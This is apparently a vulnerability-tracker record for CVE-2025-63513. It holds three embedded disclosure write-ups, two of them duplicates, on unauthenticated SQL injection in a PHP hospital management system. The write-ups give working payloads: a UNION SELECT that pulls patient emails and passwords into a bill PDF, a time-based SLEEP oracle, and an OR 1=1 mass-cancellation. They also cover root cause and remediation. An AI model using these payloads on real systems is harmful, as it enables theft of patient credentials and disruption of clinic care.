{"vulnerability": "cve-2025-63513", "sightings": [{"uuid": "6ca92a01-89e9-46c3-a163-9075b16aa0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-63513", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/d02815e9261c8de9e8afc46db844ec16", "content": "# Hospital-Management-System Bill PDF SQL Injection (vanilla PHP + MySQLi)\n\n**CWE-89 \u00b7 Unauthenticated SQL injection (UNION SELECT) \u00b7 arbitrary data exfiltration into the generated bill PDF**\n\n&gt; **Vendor:** kishan0725\n&gt; **Product:** Hospital-Management-System (vanilla PHP + MySQLi)\n&gt; **Affected version:** master branch, commit 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release version)\n&gt; **Affected endpoints:** GET /admin-panel.php?ID=&amp;generate_bill=1\n&gt; **Dedup status:** PARTIAL \u2014 shares the `?cancel=1&amp;ID=` entry point with the appointment-cancellation UPDATE sinks (separate submission) and with CVE-2025-63513 (IDOR), but this submission is a distinct sink and root cause: raw concatenation of `ID` into the UNION-able prescription/bill SELECT. No prior CVE covers this sink.\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe bill-generation query of `admin-panel.php` concatenates the GET parameter `ID` raw into a SELECT with 11 result columns, and the file has no session check. A UNION injection makes the query return arbitrary rows, which the TCPDF bill generator writes into the downloadable `bill.pdf` \u2014 a built-in exfiltration channel that works with `display_errors` disabled. Verified end-to-end: all 11 `patreg` rows (email + adjacent plaintext password) were injected into the bill PDF and recovered by decompressing its FlateDecode streams.\n\n## 2. Root Cause\n\n| File | Line | Statement |\n|---|---|---|\n| `admin-panel.php` | 86 | prescription/bill SELECT consumed by `generate_bill()` (below) |\n\n```php\n// admin-panel.php:86 (entry: GET ?ID=&amp;generate_bill=1)\n// $pid = $_SESSION['pid'] -&gt; empty string when unauthenticated\nmysqli_query($con, \"select p.pid, ..., a.docFees\n                    from prestb p\n                    inner join appointmenttb a on p.ID=a.ID\n                    and p.pid = '$pid'\n                    and p.ID = '\".$_GET['ID'].\"'\");\n// rows are rendered into the page and into the TCPDF bill: $pdf-&gt;Output('bill.pdf', 'I')\n```\n\nRaw concatenation of `$_GET['ID']`, no prepared statement, no authentication gate anywhere in the file. Column list elided (`...`) between `p.pid` and `a.docFees`; the result set has exactly 11 columns.\n\n## 3. Prerequisites\n\nNone. The request is a plain GET without a Cookie header; `$pid` interpolates as an empty string when unauthenticated and the injection in the `ID` position controls the returned rows regardless.\n\n## 4. Reproduction\n\nBaseline (benign bill):\n\n```http\nGET /admin-panel.php?ID=1&amp;generate_bill=1 HTTP/1.1\n# -&gt; HTTP 200, 7022-byte PDF\n```\n\nUNION injection (harmless extraction target):\n\n```http\nGET /admin-panel.php?ID=9999%27%20UNION%20SELECT%201%2C@@version%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20FROM%20patreg--%20-&amp;generate_bill=1 HTTP/1.1\n# decodes to: 9999' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11 FROM patreg-- -\n# -&gt; HTTP 200, 11844-byte PDF\n```\n\nVerification of the exfiltration channel:\n\n- zlib-decompress the PDF's FlateDecode content streams: the injected row (MySQL `@@version` string) is present in the payload PDF and absent in the baseline.\n- Substituting the `patreg` `email` and `password` columns for the `@@version` position injected all 11 patient rows (email + adjacent plaintext password) into the bill PDF: `` (seed credential values withheld; presence proven by decompressed-stream diff, baseline contains none of them).\n\n## 5. Confirmed Techniques\n\n- Manual verification on a local instance: MySQL 8.0.39 (127.0.0.1:3307), PHP 8.4.26 built-in server, `display_errors=0`, seeded `myhmsdb.sql`.\n- UNION SELECT with 11 columns (audit-era PoCs listing 10 columns were corrected during verification).\n- Exfiltration channel: TCPDF bill PDF, content streams FlateDecode-compressed; recovery by zlib decompression and string diff against the baseline PDF (11844 vs 7022 bytes).\n- Works with `display_errors=0` \u2014 no error output required.\n\n## 6. Impact\n\nUnauthenticated arbitrary reads against the entire backend database, with the bill PDF as a reliable file-based exfiltration channel. In the seeded schema this immediately exposes every patient's email and plaintext password (`patreg`), plus prescription and billing tables reachable via further UNION shapes. Extracted credential values are withheld: `` (verified locally against a throwaway DB).\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (Base 7.5, High)\n\n## 8. Remediation\n\n- Use a prepared statement with a bound parameter for `ID` (and for `pid`).\n- Enforce an authenticated session before any database access in `admin-panel.php`.\n- Hash stored passwords (`password_hash()`); the current plaintext storage turns this read into immediate credential compromise.\n\n## 9. References\n\n- Project: https://github.com/kishan0725/Hospital-Management-System\n- Commit: 777fda46b77a820977a5ba616283dbfbc40bf7e1 (master, 2024-10-07)\n- CWE-89: https://cwe.mitre.org/data/definitions/89.html\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:13:11.000000Z"}, {"uuid": "9be40cc5-f48b-406e-9972-927bd87b3cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-63513", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/7e71df61008170438d62ed50fa94e252", "content": "# Hospital-Management-System Appointment Cancellation SQL Injection (vanilla PHP + MySQLi)\n\n**CWE-89 \u00b7 Unauthenticated SQL injection (UPDATE) \u00b7 appointment tampering + time-based blind extraction**\n\n&gt; **Vendor:** kishan0725\n&gt; **Product:** Hospital-Management-System (vanilla PHP + MySQLi)\n&gt; **Affected version:** master branch, commit 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release version)\n&gt; **Affected endpoints:** GET /admin-panel.php?cancel=1&amp;ID=; GET /doctor-panel.php?cancel=1&amp;ID=\n&gt; **Dedup status:** PARTIAL \u2014 the `?cancel=1&amp;ID=` entry point is shared with CVE-2025-63513 (IDOR on the same endpoint) and with the UNION-based bill-PDF sink (separate submission), but this submission is a distinct vulnerability class and root cause: raw concatenation of `ID` into UPDATE statements. No prior CVE covers these UPDATE sinks.\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe appointment-cancellation handlers of both dashboards concatenate the GET parameter `ID` raw into UPDATE statements and execute it with `mysqli_query`. Neither `admin-panel.php` nor `doctor-panel.php` contains any session or role check. Any anonymous visitor can (a) cancel arbitrary appointments (unauthenticated status change) and (b) run time-based blind SQL injection against both UPDATE sinks, providing a boolean/timing oracle for data extraction.\n\n## 2. Root Cause\n\n| File | Line | Statement |\n|---|---|---|\n| `admin-panel.php` | 71 | patient-dashboard cancel UPDATE (below) |\n| `doctor-panel.php` | 8 | doctor-dashboard cancel UPDATE (below) |\n\n```php\n// admin-panel.php:70-71 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set userStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n\n// doctor-panel.php:7-8 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set doctorStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n```\n\nRaw string concatenation of `$_GET['ID']`, zero filtering, no prepared statement, and no authentication gate anywhere in either file (the pages read `$_SESSION` values without any `isset`/redirect check).\n\n## 3. Prerequisites\n\nNone. No authentication is required; a plain GET request without a Cookie header reaches both sinks.\n\n## 4. Reproduction\n\nUnauthenticated appointment cancellation (integrity break, database-diff verified):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=4 HTTP/1.1\n\n# no Cookie header; DB row 4: userStatus 1 -&gt; 0\nGET /doctor-panel.php?cancel=1&amp;ID=2 HTTP/1.1\n\n# no Cookie header; DB row 2: doctorStatus 1 -&gt; 0\n```\n\nTime-based blind injection (12 seeded `appointmenttb` rows; the OR predicate is evaluated per row):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=999 HTTP/1.1\n# baseline: HTTP 200 in 0.110 s\n\nGET /admin-panel.php?cancel=1&amp;ID=999%27%20OR%20%28SELECT%20858%29%3E%28SELECT%20SLEEP%281%29%29--%20- HTTP/1.1\n# decodes to: 999' OR (SELECT 858)&gt;(SELECT SLEEP(1))-- -\n# result: HTTP 200 in 12.189 s (12 rows x SLEEP(1))\n```\n\nDoctor-panel variant: same payload against `/doctor-panel.php?cancel=1&amp;ID=` \u2014 12.173 s vs 0.078 s baseline.\n\n## 5. Confirmed Techniques\n\n- Manual verification on a local instance: MySQL 8.0.39 (127.0.0.1:3307), PHP 8.4.26 built-in server, `display_errors=0`, seeded `myhmsdb.sql`.\n- Unauthorized cancel on both sinks with no session (database before/after diff).\n- Time-based blind oracle on both sinks: 12.189 s / 12.173 s vs 0.110 s / 0.078 s baselines.\n- Payload note: the OR-comparison form is required; an AND form with a false first operand short-circuits and never evaluates `SLEEP()` \u2014 do not \"simplify\" the PoC to AND.\n\n## 6. Impact\n\n- Integrity: an anonymous attacker can cancel arbitrary appointments for any patient and any doctor, or mass-cancel via injected OR clauses (`ID=x' OR 1=1-- -` style), disrupting clinic scheduling.\n- Confidentiality: the timing oracle supports blind extraction of database content from the UPDATE context.\n- The same unauthenticated reachability is what makes the adjacent bill-PDF sink (separate submission) exploitable end-to-end.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (Base 8.2, High)\n\n## 8. Remediation\n\n- Use a prepared statement with a bound integer parameter for `ID` in both files.\n- Add an explicit session/role check at the top of `admin-panel.php` and `doctor-panel.php`; reject cancel requests for rows not owned by the session.\n\n## 9. References\n\n- Project: https://github.com/kishan0725/Hospital-Management-System\n- Commit: 777fda46b77a820977a5ba616283dbfbc40bf7e1 (master, 2024-10-07)\n- CWE-89: https://cwe.mitre.org/data/definitions/89.html\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:13:08.000000Z"}, {"uuid": "b013e5f1-f720-42c3-a533-19b41a907bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-63513", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/5c3d2362244f1af47f8b30fcbfa93cd1", "content": "# Hospital-Management-System Appointment Cancellation SQL Injection (vanilla PHP + MySQLi)\n\n**CWE-89 \u00b7 Unauthenticated SQL injection (UPDATE) \u00b7 appointment tampering + time-based blind extraction**\n\n&gt; **Vendor:** kishan0725\n&gt; **Product:** Hospital-Management-System (vanilla PHP + MySQLi)\n&gt; **Affected version:** master branch, commit 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release version)\n&gt; **Affected endpoints:** GET /admin-panel.php?cancel=1&amp;ID=; GET /doctor-panel.php?cancel=1&amp;ID=\n&gt; **Dedup status:** PARTIAL \u2014 the `?cancel=1&amp;ID=` entry point is shared with CVE-2025-63513 (IDOR on the same endpoint) and with the UNION-based bill-PDF sink (separate submission), but this submission is a distinct vulnerability class and root cause: raw concatenation of `ID` into UPDATE statements. No prior CVE covers these UPDATE sinks.\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe appointment-cancellation handlers of both dashboards concatenate the GET parameter `ID` raw into UPDATE statements and execute it with `mysqli_query`. Neither `admin-panel.php` nor `doctor-panel.php` contains any session or role check. Any anonymous visitor can (a) cancel arbitrary appointments (unauthenticated status change) and (b) run time-based blind SQL injection against both UPDATE sinks, providing a boolean/timing oracle for data extraction.\n\n## 2. Root Cause\n\n| File | Line | Statement |\n|---|---|---|\n| `admin-panel.php` | 71 | patient-dashboard cancel UPDATE (below) |\n| `doctor-panel.php` | 8 | doctor-dashboard cancel UPDATE (below) |\n\n```php\n// admin-panel.php:70-71 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set userStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n\n// doctor-panel.php:7-8 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set doctorStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n```\n\nRaw string concatenation of `$_GET['ID']`, zero filtering, no prepared statement, and no authentication gate anywhere in either file (the pages read `$_SESSION` values without any `isset`/redirect check).\n\n## 3. Prerequisites\n\nNone. No authentication is required; a plain GET request without a Cookie header reaches both sinks.\n\n## 4. Reproduction\n\nUnauthenticated appointment cancellation (integrity break, database-diff verified):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=4 HTTP/1.1\n\n# no Cookie header; DB row 4: userStatus 1 -&gt; 0\nGET /doctor-panel.php?cancel=1&amp;ID=2 HTTP/1.1\n\n# no Cookie header; DB row 2: doctorStatus 1 -&gt; 0\n```\n\nTime-based blind injection (12 seeded `appointmenttb` rows; the OR predicate is evaluated per row):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=999 HTTP/1.1\n# baseline: HTTP 200 in 0.110 s\n\nGET /admin-panel.php?cancel=1&amp;ID=999%27%20OR%20%28SELECT%20858%29%3E%28SELECT%20SLEEP%281%29%29--%20- HTTP/1.1\n# decodes to: 999' OR (SELECT 858)&gt;(SELECT SLEEP(1))-- -\n# result: HTTP 200 in 12.189 s (12 rows x SLEEP(1))\n```\n\nDoctor-panel variant: same payload against `/doctor-panel.php?cancel=1&amp;ID=` \u2014 12.173 s vs 0.078 s baseline.\n\n## 5. Confirmed Techniques\n\n- Manual verification on a local instance: MySQL 8.0.39 (127.0.0.1:3307), PHP 8.4.26 built-in server, `display_errors=0`, seeded `myhmsdb.sql`.\n- Unauthorized cancel on both sinks with no session (database before/after diff).\n- Time-based blind oracle on both sinks: 12.189 s / 12.173 s vs 0.110 s / 0.078 s baselines.\n- Payload note: the OR-comparison form is required; an AND form with a false first operand short-circuits and never evaluates `SLEEP()` \u2014 do not \"simplify\" the PoC to AND.\n\n## 6. Impact\n\n- Integrity: an anonymous attacker can cancel arbitrary appointments for any patient and any doctor, or mass-cancel via injected OR clauses (`ID=x' OR 1=1-- -` style), disrupting clinic scheduling.\n- Confidentiality: the timing oracle supports blind extraction of database content from the UPDATE context.\n- The same unauthenticated reachability is what makes the adjacent bill-PDF sink (separate submission) exploitable end-to-end.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (Base 8.2, High)\n\n## 8. Remediation\n\n- Use a prepared statement with a bound integer parameter for `ID` in both files.\n- Add an explicit session/role check at the top of `admin-panel.php` and `doctor-panel.php`; reject cancel requests for rows not owned by the session.\n\n## 9. References\n\n- Project: https://github.com/kishan0725/Hospital-Management-System\n- Commit: 777fda46b77a820977a5ba616283dbfbc40bf7e1 (master, 2024-10-07)\n- CWE-89: https://cwe.mitre.org/data/definitions/89.html\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-29T06:38:05.000000Z"}]}